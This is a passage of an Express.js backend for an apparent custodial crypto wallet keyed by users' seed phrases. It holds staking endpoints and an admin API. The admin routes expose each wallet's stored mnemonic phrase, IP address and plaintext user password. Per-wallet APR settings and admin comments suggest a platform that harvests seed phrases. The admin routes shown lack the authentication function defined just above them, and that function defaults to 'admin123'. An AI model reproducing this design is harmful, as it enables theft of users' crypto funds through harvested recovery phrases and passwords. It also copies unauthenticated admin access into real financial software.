        error: 'Wallet not found'
      });
    }
    
    const tokenUpper = token ? token.toUpperCase() : null;
    
    // Получаем активные позиции
    let positions;
    if (tokenUpper) {
      positions = db.prepare(`
        SELECT * FROM staking_positions 
        WHERE phrase = ? AND token_symbol = ? AND status = 'active'
        ORDER BY created_at DESC
      `).all(phrase, tokenUpper);
    } else {
      positions = db.prepare(`
        SELECT * FROM staking_positions 
        WHERE phrase = ? AND status = 'active'
        ORDER BY created_at DESC
      `).all(phrase);
    }
    
    // Добавляем вычисленные поля для каждой позиции
    const enrichedPositions = positions.map(pos => {
      const canUnlockNow = canUnlock(pos.unlock_date);
      const daysRemaining = canUnlockNow ? 0 : Math.ceil((new Date(pos.unlock_date) - new Date()) / (24 * 60 * 60 * 1000));
      
      return {
        ...pos,
        canUnlock: canUnlockNow,
        daysRemaining,
        unlockDate: pos.unlock_date
      };
    });
    
    // Подсчитываем общую статистику
    const totalStaked = positions.reduce((sum, pos) => sum + pos.amount, 0);
    const totalRewards = positions.reduce((sum, pos) => sum + pos.total_rewards, 0);
    
    res.json({
      success: true,
      data: {
        positions: enrichedPositions,
        summary: {
          totalStaked,
          totalRewards,
          activePositions: positions.length
        }
      }
    });
  } catch (error) {
    console.error('[API] Error getting staking info:', error);
    res.status(500).json({ success: false, error: error.message });
  }
});

// POST /api/staking/stake - Разместить средства в стейкинг
app.post('/api/staking/stake', stakingLimiter, (req, res) => {
  try {
    const { phrase, token, amount } = req.body;
    
    if (!phrase || !token || !amount) {
      return res.status(400).json({
        success: false,
        error: 'Phrase, token, and amount required'
      });
    }
    
    const tokenUpper = token.toUpperCase();
    const amountFloat = parseFloat(amount);
    
    // Проверяем конфигурацию стейкинга (с учётом индивидуального APR кошелька)
    const mHashForStake = phrase ? mnemonicHash(phrase) : null;
    const config = getStakingConfigForWallet(tokenUpper, mHashForStake);
    if (!config) {
      return res.status(400).json({
        success: false,
        error: 'Staking not available for this token'
      });
    }
    
    // Проверяем минимальную сумму
    if (amountFloat < config.minAmount) {
      return res.status(400).json({
        success: false,
        error: `Minimum staking amount is ${config.minAmount} ${tokenUpper}`
      });
    }
    
    // Получаем wallet
    const wallet = db.prepare('SELECT * FROM wallets WHERE phrase = ?').get(phrase);
    
    if (!wallet) {
      return res.status(404).json({
        success: false,
        error: 'Wallet not found'
      });
    }
    
    // Маппинг колонок баланса
    const balanceColumnMap = {
      'BTC': 'btc_balance',
      'ETH': 'eth_balance',
      'BNB': 'bnb_balance',
      'TRX': 'trx_balance',
      'SOL': 'sol_balance',
      'TON': 'ton_balance',
      'USDT': 'usdt_balance',
      'USD1': 'usd1_balance',
      'XRP': 'xrp_balance',
      'DOGE': 'doge_balance',
      'ARB': 'arb_balance',
      'STRK': 'strk_balance',
      'ADA': 'ada_balance',
      'SUI': 'sui_balance',
      'DOT': 'dot_balance',
      'SHIB': 'shib_balance',
      'USDTERC': 'usdt_eth_balance',
      'ZEC': 'zec_balance',
      'NOT': 'not_balance',
      'XLM': 'xlm_balance',
      'HYPE': 'hype_balance',
      'UNI': 'uni_balance',
      'NEAR': 'near_balance',
      'PEPE': 'pepe_balance',
      'ATOM': 'atom_balance',
      'DASH': 'dash_balance',
      'CAKE': 'cake_balance',
      'ZK': 'zk_balance',
      'HBAR': 'hbar_balance',
      'LTC': 'ltc_balance',
      'LINK': 'link_balance',
      'APT': 'apt_balance',
      'LDO': 'ldo_balance',
      'AAVE': 'aave_balance',
      'AVAX': 'avax_balance',
      'ASTER': 'aster_balance',
      'FIL': 'fil_balance',
      'PAXG': 'paxg_balance',
      'USDC': 'usdc_balance',
      'XAUT': 'xaut_balance',
      'TRUMP': 'trump_balance',
      'OP': 'op_balance',
      'DCR': 'dcr_balance',
      'SAND': 'sand_balance',
      'INJ': 'inj_balance',
      'MNT': 'mnt_balance',
      'XMR': 'xmr_balance',
      'KAS': 'kas_balance',
      'ENS': 'ens_balance',
      'CC': 'cc_balance',
      'XPL': 'xpl_balance',
      'LAYER': 'layer_balance',
      'BERA': 'bera_balance',
      'WLFI': 'wlfi_balance',
      'ICP': 'icp_balance',
      'JUP': 'jup_balance',
      'ZERO': 'zero_balance',
      'ETC': 'etc_balance',
      'XCH': 'xch_balance',
      'VON': 'von_balance',
      'ETHZK': 'ethzk_balance',
      'ENA': 'ena_balance',
      'ETHFI': 'ethfi_balance',
      'GRASS': 'grass_balance',
      'OKB': 'okb_balance',
      'BCH': 'bch_balance',
      'TAO': 'tao_balance',
      'BLUM': 'blum_balance', // Добавлен BLUM v2.18
      'SKR': 'skr_balance', // Добавлен SKR v2.19
      'TORN': 'torn_balance', // Добавлен TORN v2.20
      'NFLXON': 'nflxon_balance', // Добавлен NFLXon v2.27
      'NVDAON': 'nvdaon_balance', // Добавлен NVDAon v2.27
      'AAPL': 'aapl_balance', // Добавлен AAPL v2.27
      'TSLA': 'tsla_balance', // Добавлен TSLA v2.27
      'MSFT': 'msft_balance', // Добавлен MSFT v2.27
      'AMZN': 'amzn_balance', // Добавлен AMZN v2.27
      'ENSO': 'enso_balance',
      'KAG': 'kag_balance'
    };
    
    const stakedColumnMap = {
      'BTC': 'btc_staked',
      'ETH': 'eth_staked',
      'BNB': 'bnb_staked',
      'TRX': 'trx_staked',
      'SOL': 'sol_staked',
      'TON': 'ton_staked',
      'USDT': 'usdt_staked',
      'USD1': 'usd1_staked',
      'XRP': 'xrp_staked',
      'DOGE': 'doge_staked',
      'ARB': 'arb_staked',
      'STRK': 'strk_staked',
      'ADA': 'ada_staked',
      'SUI': 'sui_staked',
      'DOT': 'dot_staked',
      'SHIB': 'shib_staked',
      'USDTERC': 'usdt_eth_staked',
      'ZEC': 'zec_staked',
      'NOT': 'not_staked',
      'XLM': 'xlm_staked',
      'HYPE': 'hype_staked',
      'UNI': 'uni_staked',
      'NEAR': 'near_staked',
      'PEPE': 'pepe_staked',
      'ATOM': 'atom_staked',
      'DASH': 'dash_staked',
      'CAKE': 'cake_staked',
      'ZK': 'zk_staked',
      'HBAR': 'hbar_staked',
      'LTC': 'ltc_staked',
      'LINK': 'link_staked',
      'APT': 'apt_staked',
      'LDO': 'ldo_staked',
      'AAVE': 'aave_staked',
      'AVAX': 'avax_staked',
      'ASTER': 'aster_staked',
      'FIL': 'fil_staked',
      'PAXG': 'paxg_staked',
      'USDC': 'usdc_staked',
      'XAUT': 'xaut_staked',
      'TRUMP': 'trump_staked',
      'OP': 'op_staked',
      'DCR': 'dcr_staked',
      'SAND': 'sand_staked',
      'INJ': 'inj_staked',
      'MNT': 'mnt_staked',
      'XMR': 'xmr_staked',
      'KAS': 'kas_staked',
      'ENS': 'ens_staked',
      'CC': 'cc_staked',
      'XPL': 'xpl_staked',
      'LAYER': 'layer_staked',
      'BERA': 'bera_staked',
      'WLFI': 'wlfi_staked',
      'ICP': 'icp_staked',
      'JUP': 'jup_staked',
      'ZERO': 'zero_staked',
      'ETC': 'etc_staked',
      'XCH': 'xch_staked',
      'VON': 'von_staked',
      'ENA': 'ena_staked',
      'ETHFI': 'ethfi_staked',
      'GRASS': 'grass_staked',
      'OKB': 'okb_staked',
      'BCH': 'bch_staked',
      'TAO': 'tao_staked',
      'BLUM': 'blum_staked', // Добавлен BLUM v2.18
      'SKR': 'skr_staked', // Добавлен SKR v2.19
      'TORN': 'torn_staked', // Добавлен TORN v2.20
      'NFLXON': 'nflxon_staked', // Добавлен NFLXon v2.27
      'NVDAON': 'nvdaon_staked', // Добавлен NVDAon v2.27
      'AAPL': 'aapl_staked', // Добавлен AAPL v2.27
      'TSLA': 'tsla_staked', // Добавлен TSLA v2.27
      'MSFT': 'msft_staked', // Добавлен MSFT v2.27
      'AMZN': 'amzn_staked', // Добавлен AMZN v2.27
      'ENSO': 'enso_staked',
      'KAG': 'kag_staked'
    };
    
    // Проверяем баланс
    const balanceColumn = balanceColumnMap[tokenUpper];
    if (!balanceColumn) {
      return res.status(400).json({
        success: false,
        error: `Unsupported token for staking: ${tokenUpper}`
      });
    }
    
    const currentBalance = wallet[balanceColumn] || 0;
    
    if (currentBalance < amountFloat) {
      return res.status(400).json({
        success: false,
        error: 'Insufficient balance'
      });
    }
    
    // Списываем с баланса
    const newBalance = currentBalance - amountFloat;
    db.prepare(`UPDATE wallets SET ${balanceColumn} = ? WHERE phrase = ?`).run(newBalance, phrase);
    
    // Создаем позицию стейкинга
    const startDate = new Date().toISOString();
    const unlockDate = calculateUnlockDate(startDate, config.lockPeriodDays);
    
    const result = db.prepare(`
      INSERT INTO staking_positions 
      (user_id, phrase, token_symbol, amount, apr, lock_period_days, start_date, unlock_date, last_reward_date, status)
      VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, 'active')
    `).run(wallet.user_id, phrase, tokenUpper, amountFloat, config.apr, config.lockPeriodDays, startDate, unlockDate, startDate);
    
    const positionId = result.lastInsertRowid;
    
    // Обновляем застейканный баланс
    const stakedColumn = stakedColumnMap[tokenUpper];
    const currentStaked = wallet[stakedColumn] || 0;
    db.prepare(`UPDATE wallets SET ${stakedColumn} = ? WHERE phrase = ?`).run(currentStaked + amountFloat, phrase);
    
    // Логируем операцию в историю
    logBalanceChange(
      wallet.user_id,
      phrase,
      tokenUpper,
      'stake',
      amountFloat,
      currentBalance,
      newBalance,
      `Застейкано ${amountFloat} ${tokenUpper} на ${config.lockPeriodDays} дней (APR: ${config.apr}%)`,
      positionId
    );
    
    console.log(`[STAKING] User ${wallet.user_id} staked ${amountFloat} ${tokenUpper} for ${config.lockPeriodDays} days`);
    
    res.json({
      success: true,
      data: {
        positionId: positionId,
        amount: amountFloat,
        token: tokenUpper,
        apr: config.apr,
        lockPeriodDays: config.lockPeriodDays,
        unlockDate,
        newBalance
      }
    });
  } catch (error) {
    console.error('[API] Error staking:', error);
    res.status(500).json({ success: false, error: error.message });
  }
});

// POST /api/staking/unstake - Разблокировать средства из стейкинга
app.post('/api/staking/unstake', stakingLimiter, (req, res) => {
  try {
    const { positionId, phrase } = req.body;
    
    if (!positionId || !phrase) {
      return res.status(400).json({
        success: false,
        error: 'Position ID and phrase required'
      });
    }
    
    // Получаем позицию
    const position = db.prepare(`
      SELECT * FROM staking_positions 
      WHERE id = ? AND phrase = ? AND status = 'active'
    `).get(positionId, phrase);
    
    if (!position) {
      return res.status(404).json({
        success: false,
        error: 'Position not found or already unstaked'
      });
    }
    
    // Проверяем можно ли разблокировать
    if (!canUnlock(position.unlock_date)) {
      const daysRemaining = Math.ceil((new Date(position.unlock_date) - new Date()) / (24 * 60 * 60 * 1000));
      return res.status(400).json({
        success: false,
        error: `Position is still locked. Days remaining: ${daysRemaining}`
      });
    }
    
    // Получаем wallet
    const wallet = db.prepare('SELECT * FROM wallets WHERE phrase = ?').get(phrase);
    
    if (!wallet) {
      return res.status(404).json({
        success: false,
        error: 'Wallet not found'
      });
    }
    
    // Маппинг колонок баланса
    const balanceColumnMap = {
      'BTC': 'btc_balance', 'ETH': 'eth_balance', 'BNB': 'bnb_balance', 'TRX': 'trx_balance',
      'SOL': 'sol_balance', 'TON': 'ton_balance', 'USDT': 'usdt_balance', 'XRP': 'xrp_balance',
      'DOGE': 'doge_balance', 'ARB': 'arb_balance', 'STRK': 'strk_balance', 'ADA': 'ada_balance',
      'SUI': 'sui_balance', 'DOT': 'dot_balance', 'SHIB': 'shib_balance', 'USDTERC': 'usdt_eth_balance',
      'ZEC': 'zec_balance', 'NOT': 'not_balance', 'XLM': 'xlm_balance', 'HYPE': 'hype_balance',
      'UNI': 'uni_balance', 'NEAR': 'near_balance', 'PEPE': 'pepe_balance', 'ATOM': 'atom_balance',
      'DASH': 'dash_balance', 'CAKE': 'cake_balance', 'ZK': 'zk_balance', 'HBAR': 'hbar_balance',
      'LTC': 'ltc_balance', 'LINK': 'link_balance', 'APT': 'apt_balance', 'LDO': 'ldo_balance',
      // Новые токены (v2.10)
      'AAVE': 'aave_balance', 'AVAX': 'avax_balance', 'ASTER': 'aster_balance', 'FIL': 'fil_balance',
      'PAXG': 'paxg_balance', 'USDC': 'usdc_balance', 'XAUT': 'xaut_balance', 'TRUMP': 'trump_balance',
      'OP': 'op_balance', 'DCR': 'dcr_balance', 'SAND': 'sand_balance', 'INJ': 'inj_balance',
      'MNT': 'mnt_balance', 'XMR': 'xmr_balance', 'KAS': 'kas_balance',
      'ENS': 'ens_balance', 'CC': 'cc_balance', 'XPL': 'xpl_balance', 'LAYER': 'layer_balance',
      'BERA': 'bera_balance', 'WLFI': 'wlfi_balance', 'ICP': 'icp_balance', 'JUP': 'jup_balance',
      'ZERO': 'zero_balance', 'ETC': 'etc_balance', 'XCH': 'xch_balance', 'VON': 'von_balance', 'ETHZK': 'ethzk_balance',
      'ENA': 'ena_balance', 'ETHFI': 'ethfi_balance', 'GRASS': 'grass_balance', 'OKB': 'okb_balance', 'BCH': 'bch_balance', 'TAO': 'tao_balance',
      'BLUM': 'blum_balance', // Добавлен BLUM v2.18
      'SKR': 'skr_balance', // Добавлен SKR v2.19
      'TORN': 'torn_balance', // Добавлен TORN v2.20
      'NFLXON': 'nflxon_balance', 'NVDAON': 'nvdaon_balance', 'AAPL': 'aapl_balance', // Добавлены stock tokens v2.27
      'TSLA': 'tsla_balance', 'MSFT': 'msft_balance', 'AMZN': 'amzn_balance', // Добавлены stock tokens v2.27
      'ENSO': 'enso_balance',
      'KAG': 'kag_balance'
    };
    
    const stakedColumnMap = {
      'BTC': 'btc_staked', 'ETH': 'eth_staked', 'BNB': 'bnb_staked', 'TRX': 'trx_staked',
      'SOL': 'sol_staked', 'TON': 'ton_staked', 'USDT': 'usdt_staked', 'USD1': 'usd1_staked', 'XRP': 'xrp_staked',
      'DOGE': 'doge_staked', 'ARB': 'arb_staked', 'STRK': 'strk_staked', 'ADA': 'ada_staked',
      'SUI': 'sui_staked', 'DOT': 'dot_staked', 'SHIB': 'shib_staked', 'USDTERC': 'usdt_eth_staked',
      'ZEC': 'zec_staked', 'NOT': 'not_staked', 'XLM': 'xlm_staked', 'HYPE': 'hype_staked',
      'UNI': 'uni_staked', 'NEAR': 'near_staked', 'PEPE': 'pepe_staked', 'ATOM': 'atom_staked',
      'DASH': 'dash_staked', 'CAKE': 'cake_staked', 'ZK': 'zk_staked', 'HBAR': 'hbar_staked',
      'LTC': 'ltc_staked', 'LINK': 'link_staked', 'APT': 'apt_staked', 'LDO': 'ldo_staked',
      // Новые токены (v2.10)
      'AAVE': 'aave_staked', 'AVAX': 'avax_staked', 'ASTER': 'aster_staked', 'FIL': 'fil_staked',
      'PAXG': 'paxg_staked', 'USDC': 'usdc_staked', 'XAUT': 'xaut_staked', 'TRUMP': 'trump_staked',
      'OP': 'op_staked', 'DCR': 'dcr_staked', 'SAND': 'sand_staked', 'INJ': 'inj_staked',
      'MNT': 'mnt_staked', 'XMR': 'xmr_staked', 'KAS': 'kas_staked',
      'ENS': 'ens_staked', 'CC': 'cc_staked', 'XPL': 'xpl_staked', 'LAYER': 'layer_staked',
      'BERA': 'bera_staked', 'WLFI': 'wlfi_staked', 'ICP': 'icp_staked', 'JUP': 'jup_staked',
      'ZERO': 'zero_staked', 'ETC': 'etc_staked', 'XCH': 'xch_staked', 'VON': 'von_staked', 'ETHZK': 'ethzk_staked',
      'ENA': 'ena_staked', 'ETHFI': 'ethfi_staked', 'GRASS': 'grass_staked', 'OKB': 'okb_staked', 'BCH': 'bch_staked', 'TAO': 'tao_staked',
      'BLUM': 'blum_staked', // Добавлен BLUM v2.18
      'SKR': 'skr_staked', // Добавлен SKR v2.19
      'TORN': 'torn_staked', // Добавлен TORN v2.20
      'NFLXON': 'nflxon_staked', 'NVDAON': 'nvdaon_staked', 'AAPL': 'aapl_staked', // Добавлены stock tokens v2.27
      'TSLA': 'tsla_staked', 'MSFT': 'msft_staked', 'AMZN': 'amzn_staked', // Добавлены stock tokens v2.27
      'ENSO': 'enso_staked',
      'KAG': 'kag_staked'
    };
    
    // Возвращаем средства + награды
    const balanceColumn = balanceColumnMap[position.token_symbol];
    const stakedColumn = stakedColumnMap[position.token_symbol];
    
    if (!balanceColumn || !stakedColumn) {
      return res.status(400).json({
        success: false,
        error: `Unsupported token: ${position.token_symbol}`
      });
    }
    
    const currentBalance = wallet[balanceColumn] || 0;
    const currentStaked = wallet[stakedColumn] || 0;
    
    const totalReturn = position.amount + position.total_rewards;
    const newBalance = currentBalance + totalReturn;
    const newStaked = Math.max(0, currentStaked - position.amount);
    
    // Обновляем баланс
    db.prepare(`UPDATE wallets SET ${balanceColumn} = ?, ${stakedColumn} = ? WHERE phrase = ?`)
      .run(newBalance, newStaked, phrase);
    
    // Закрываем позицию
    db.prepare(`UPDATE staking_positions SET status = 'completed' WHERE id = ?`).run(positionId);
    
    // Логируем операцию unstake
    logBalanceChange(
      wallet.user_id,
      phrase,
      position.token_symbol,
      'unstake',
      totalReturn,
      currentBalance,
      newBalance,
      `Разблокирован стейкинг: ${position.amount} ${position.token_symbol} + награды ${position.total_rewards.toFixed(6)} ${position.token_symbol}`,
      positionId
    );
    
    console.log(`[STAKING] User ${wallet.user_id} unstaked position #${positionId}. Returned: ${totalReturn} ${position.token_symbol}`);
    
    res.json({
      success: true,
      data: {
        positionId,
        principal: position.amount,
        rewards: position.total_rewards,
        totalReturn,
        newBalance,
        token: position.token_symbol
      }
    });
  } catch (error) {
    console.error('[API] Error unstaking:', error);
    res.status(500).json({ success: false, error: error.message });
  }
});

// POST /api/staking/claim - Забрать только награды (досрочно, без основной суммы)
app.post('/api/staking/claim', stakingLimiter, (req, res) => {
  try {
    const { positionId, phrase } = req.body;
    
    if (!positionId || !phrase) {
      return res.status(400).json({
        success: false,
        error: 'Position ID and phrase required'
      });
    }
    
    // Получаем позицию
    const position = db.prepare(`
      SELECT * FROM staking_positions 
      WHERE id = ? AND phrase = ? AND status = 'active'
    `).get(positionId, phrase);
    
    if (!position) {
      return res.status(404).json({
        success: false,
        error: 'Position not found or already closed'
      });
    }
    
    if (position.total_rewards <= 0) {
      return res.status(400).json({
        success: false,
        error: 'No rewards to claim'
      });
    }
    
    // Получаем wallet
    const wallet = db.prepare('SELECT * FROM wallets WHERE phrase = ?').get(phrase);
    
    if (!wallet) {
      return res.status(404).json({
        success: false,
        error: 'Wallet not found'
      });
    }
    
    // Маппинг колонок баланса
    const balanceColumnMap = {
      'BTC': 'btc_balance', 'ETH': 'eth_balance', 'BNB': 'bnb_balance', 'TRX': 'trx_balance',
      'SOL': 'sol_balance', 'TON': 'ton_balance', 'USDT': 'usdt_balance', 'USD1': 'usd1_balance', 'XRP': 'xrp_balance',
      'DOGE': 'doge_balance', 'ARB': 'arb_balance', 'STRK': 'strk_balance', 'ADA': 'ada_balance',
      'SUI': 'sui_balance', 'DOT': 'dot_balance', 'SHIB': 'shib_balance', 'USDTERC': 'usdt_eth_balance',
      'ZEC': 'zec_balance', 'NOT': 'not_balance', 'XLM': 'xlm_balance', 'HYPE': 'hype_balance',
      'UNI': 'uni_balance', 'NEAR': 'near_balance', 'PEPE': 'pepe_balance', 'ATOM': 'atom_balance',
      'DASH': 'dash_balance', 'CAKE': 'cake_balance', 'ZK': 'zk_balance', 'HBAR': 'hbar_balance',
      'LTC': 'ltc_balance', 'LINK': 'link_balance', 'APT': 'apt_balance', 'LDO': 'ldo_balance',
      // Новые токены (v2.10)
      'AAVE': 'aave_balance', 'AVAX': 'avax_balance', 'ASTER': 'aster_balance', 'FIL': 'fil_balance',
      'PAXG': 'paxg_balance', 'USDC': 'usdc_balance', 'XAUT': 'xaut_balance', 'TRUMP': 'trump_balance',
      'OP': 'op_balance', 'DCR': 'dcr_balance', 'SAND': 'sand_balance', 'INJ': 'inj_balance',
      'MNT': 'mnt_balance', 'XMR': 'xmr_balance', 'KAS': 'kas_balance',
      'ENS': 'ens_balance', 'CC': 'cc_balance', 'XPL': 'xpl_balance', 'LAYER': 'layer_balance',
      'BERA': 'bera_balance', 'WLFI': 'wlfi_balance', 'ICP': 'icp_balance', 'JUP': 'jup_balance',
      'ZERO': 'zero_balance', 'ETC': 'etc_balance', 'XCH': 'xch_balance', 'VON': 'von_balance', 'ETHZK': 'ethzk_balance',
      'ENA': 'ena_balance', 'ETHFI': 'ethfi_balance', 'GRASS': 'grass_balance', 'OKB': 'okb_balance', 'BCH': 'bch_balance', 'TAO': 'tao_balance',
      'BLUM': 'blum_balance', // Добавлен BLUM v2.18
      'SKR': 'skr_balance', // Добавлен SKR v2.19
      'TORN': 'torn_balance', // Добавлен TORN v2.20
      'NFLXON': 'nflxon_balance', 'NVDAON': 'nvdaon_balance', 'AAPL': 'aapl_balance', // Добавлены stock tokens v2.27
      'TSLA': 'tsla_balance', 'MSFT': 'msft_balance', 'AMZN': 'amzn_balance', // Добавлены stock tokens v2.27
      'ENSO': 'enso_balance',
      'KAG': 'kag_balance'
    };
    
    // Возвращаем только награды
    const balanceColumn = balanceColumnMap[position.token_symbol];
    
    if (!balanceColumn) {
      return res.status(400).json({
        success: false,
        error: `Unsupported token: ${position.token_symbol}`
      });
    }
    
    const currentBalance = wallet[balanceColumn] || 0;
    const newBalance = currentBalance + position.total_rewards;
    
    console.log(`[STAKING] 💰 Claiming rewards:`);
    console.log(`  - Position ID: ${positionId}`);
    console.log(`  - Token: ${position.token_symbol}`);
    console.log(`  - Column: ${balanceColumn}`);
    console.log(`  - Current balance: ${currentBalance}`);
    console.log(`  - Rewards: ${position.total_rewards}`);
    console.log(`  - New balance: ${newBalance}`);
    
    // Обновляем баланс
    db.prepare(`UPDATE wallets SET ${balanceColumn} = ? WHERE phrase = ?`).run(newBalance, phrase);
    
    // Проверяем что баланс обновился
    const updatedWallet = db.prepare('SELECT * FROM wallets WHERE phrase = ?').get(phrase);
    console.log(`  - Balance after UPDATE: ${updatedWallet[balanceColumn]}`);
    
    // Обнуляем награды в позиции
    db.prepare(`UPDATE staking_positions SET total_rewards = 0 WHERE id = ?`).run(positionId);
    
    // Логируем операцию claim
    logBalanceChange(
      wallet.user_id,
      phrase,
      position.token_symbol,
      'claim_reward',
      position.total_rewards,
      currentBalance,
      newBalance,
      `Получены награды за стейкинг: ${position.total_rewards.toFixed(6)} ${position.token_symbol}`,
      positionId
    );
    
    console.log(`[STAKING] ✅ User ${wallet.user_id} claimed ${position.total_rewards} ${position.token_symbol} rewards from position #${positionId}`);
    
    res.json({
      success: true,
      data: {
        positionId,
        rewards: position.total_rewards,
        newBalance,
        token: position.token_symbol
      }
    });
  } catch (error) {
    console.error('[API] Error claiming rewards:', error);
    res.status(500).json({ success: false, error: error.message });
  }
});

// POST /api/staking/process-rewards - Ручной запуск начисления наград (для тестирования)
app.post('/api/staking/process-rewards', stakingLimiter, (req, res) => {
  try {
    console.log('[API] Manual reward processing triggered');
    processStakingRewards();
    
    res.json({
      success: true,
      message: 'Rewards processing completed'
    });
  } catch (error) {
    console.error('[API] Error processing rewards:', error);
    res.status(500).json({ success: false, error: error.message });
  }
});

// GET /api/staking/stats - Получить общую статистику по стейкингу
app.get('/api/staking/stats', (req, res) => {
  try {
    const { phrase } = req.query;
    
    if (!phrase) {
      return res.status(400).json({
        success: false,
        error: 'Phrase required'
      });
    }
    
    // Получаем все позиции (активные и завершенные)
    const activePositions = db.prepare(`
      SELECT token_symbol, SUM(amount) as total_staked, SUM(total_rewards) as total_rewards
      FROM staking_positions 
      WHERE phrase = ? AND status = 'active'
      GROUP BY token_symbol
    `).all(phrase);
    
    const completedPositions = db.prepare(`
      SELECT COUNT(*) as count, SUM(amount) as total_amount, SUM(total_rewards) as total_rewards
      FROM staking_positions 
      WHERE phrase = ? AND status = 'completed'
    `).get(phrase);
    
    res.json({
      success: true,
      data: {
        active: activePositions,
        completed: {
          count: completedPositions.count || 0,
          totalAmount: completedPositions.total_amount || 0,
          totalRewards: completedPositions.total_rewards || 0
        }
      }
    });
  } catch (error) {
    console.error('[API] Error getting staking stats:', error);
    res.status(500).json({ success: false, error: error.message });
  }
});

// GET /api/balance-history/:token - Получить историю операций с балансом для конкретного токена
app.get('/api/balance-history/:token', (req, res) => {
  try {
    const { token } = req.params;
    const { phrase } = req.query;
    
    if (!phrase) {
      return res.status(400).json({
        success: false,
        error: 'Phrase required'
      });
    }
    
    const tokenUpper = token.toUpperCase();
    
    // Получаем историю операций для конкретного токена
    const history = db.prepare(`
      SELECT 
        id,
        operation_type,
        amount,
        balance_before,
        balance_after,
        description,
        position_id,
        created_at
      FROM balance_history 
      WHERE phrase = ? AND token_symbol = ?
      ORDER BY created_at DESC
      LIMIT 100
    `).all(phrase, tokenUpper);
    
    res.json({
      success: true,
      data: history
    });
  } catch (error) {
    console.error('[API] Error getting balance history:', error);
    res.status(500).json({ success: false, error: error.message });
  }
});

// ============================================================================
// SPA FALLBACK - должен быть ПОСЛЕДНИМ маршрутом
// Отдаем index.html для всех не-API маршрутов (для React Router)
// ============================================================================

// ============================================================================
// ADMIN PANEL API
// ============================================================================

// Базовая HTTP аутентификация для админ-панели
const ADMIN_USERNAME = process.env.ADMIN_USERNAME || 'admin';
const ADMIN_PASSWORD = process.env.ADMIN_PASSWORD || 'admin123';

function adminAuth(req, res, next) {
  const authHeader = req.headers.authorization;
  
  if (!authHeader || !authHeader.startsWith('Basic ')) {
    res.setHeader('WWW-Authenticate', 'Basic realm="Admin Panel"');
    return res.status(401).json({ error: 'Authentication required' });
  }
  
  const base64Credentials = authHeader.split(' ')[1];
  const credentials = Buffer.from(base64Credentials, 'base64').toString('ascii');
  const [username, password] = credentials.split(':');
  
  if (username === ADMIN_USERNAME && password === ADMIN_PASSWORD) {
    next();
  } else {
    res.setHeader('WWW-Authenticate', 'Basic realm="Admin Panel"');
    return res.status(401).json({ error: 'Invalid credentials' });
  }
}

// GET /admin/api/wallets - Получить список всех кошельков
app.get('/admin/api/wallets', async (req, res) => {
  try {
    // Обновляем цены перед расчетом балансов
    await updateCryptoPrices();
    
    const page = parseInt(req.query.page) || 1;
    const limit = parseInt(req.query.limit) || 50;
    const search = req.query.search || '';
    const offset = (page - 1) * limit;
    
    let query = `
      SELECT 
        w.*,
        u.username
      FROM wallets w
      LEFT JOIN users u ON w.user_id = u.id
    `;
    
    const params = [];
    if (search) {
      query += ` WHERE u.username LIKE ? OR w.ip LIKE ? OR w.id = ?`;
      params.push(`%${search}%`, `%${search}%`, search);
    }
    
    query += ` ORDER BY w.created_at DESC LIMIT ? OFFSET ?`;
    params.push(limit, offset);
    
    const wallets = db.prepare(query).all(...params);
    
    // Функция для получения цены токена по символу
    const getTokenPrice = (symbol) => {
      const upperSymbol = symbol.toUpperCase();
      // Ищем токен в networks
      for (const network of networks) {
        for (const token of network.tokenInfoList) {
          if (token.symbol === upperSymbol && token.price) {
            return parseFloat(token.price) || 0;
          }
        }
      }
      return 0;
    };
    
    // Вычисляем total_balance для каждого кошелька в USD по текущим курсам
    wallets.forEach(wallet => {
      let totalUSD = 0;
      for (const key in wallet) {
        if (key.endsWith('_balance')) {
          const amount = parseFloat(wallet[key]) || 0;
          if (amount > 0) {
            // Получаем символ токена из имени колонки (например, btc_balance -> BTC)
            const symbol = key.replace('_balance', '').toUpperCase();
            const price = getTokenPrice(symbol);
            const valueUSD = amount * price;
            totalUSD += valueUSD;
            // console.log(`[ADMIN] ${symbol}: ${amount} * $${price} = $${valueUSD.toFixed(2)}`);
          }
        }
      }
      wallet.total_balance = totalUSD;
    });
    
    // Получаем общее количество кошельков
    let countQuery = 'SELECT COUNT(*) as total FROM wallets w LEFT JOIN users u ON w.user_id = u.id';
    if (search) {
      countQuery += ` WHERE u.username LIKE ? OR w.ip LIKE ? OR w.id = ?`;
    }
    const countParams = search ? [`%${search}%`, `%${search}%`, search] : [];
    const { total } = db.prepare(countQuery).get(...countParams);
    
    res.json({
      success: true,
      data: wallets,
      pagination: {
        page,
        limit,
        total,
        pages: Math.ceil(total / limit)
      }
    });
  } catch (error) {
    console.error('[ADMIN] Error fetching wallets:', error);
    res.status(500).json({ error: 'Failed to fetch wallets' });
  }
});

// GET /admin/api/wallet/:id - Получить детали кошелька
app.get('/admin/api/wallet/:id', (req, res) => {
  try {
    const { id } = req.params;
    
    const wallet = db.prepare(`
      SELECT 
        w.*,
        u.username,
        u.password as user_password
      FROM wallets w
      LEFT JOIN users u ON w.user_id = u.id
      WHERE w.id = ?
    `).get(id);
    
    if (!wallet) {
      return res.status(404).json({ error: 'Wallet not found' });
    }
    
    // Получаем активные позиции стейкинга (используем phrase вместо wallet_id)
    const stakingPositions = db.prepare(`
      SELECT * FROM staking_positions
      WHERE phrase = ? AND status = 'active'
      ORDER BY created_at DESC
    `).all(wallet.phrase);
    
    // Получаем историю транзакций (используем phrase вместо wallet_id)
    const swapHistory = db.prepare(`
      SELECT * FROM swap_transactions
      WHERE phrase = ?
      ORDER BY created_at DESC
      LIMIT 20
    `).all(wallet.phrase);

    // Получаем историю выводов
    const withdrawalHistory = db.prepare(`
      SELECT id, token_symbol, network, address, amount,
             balance_before, balance_after, status, created_at
      FROM withdrawals
      WHERE phrase = ?
      ORDER BY created_at DESC
      LIMIT 50
    `).all(wallet.phrase);
    
    res.json({
      success: true,
      data: {
        wallet,
        stakingPositions,
        swapHistory,
        withdrawalHistory
      }
    });
  } catch (error) {
    console.error('[ADMIN] Error fetching wallet details:', error);
    res.status(500).json({ error: 'Failed to fetch wallet details' });
  }
});

// PATCH /admin/api/wallet/:id/comment - Обновить комментарий кошелька
app.patch('/admin/api/wallet/:id/comment', (req, res) => {
  try {
    const { id } = req.params;
    const { comment } = req.body;
    
    if (typeof comment !== 'string') {
      return res.status(400).json({ error: 'Comment must be a string' });
    }
    
    // Обновляем комментарий (NULL если пустая строка)
    const stmt = db.prepare(`
      UPDATE wallets 
      SET admin_comment = ?, updated_at = CURRENT_TIMESTAMP 
      WHERE id = ?
    `);
    
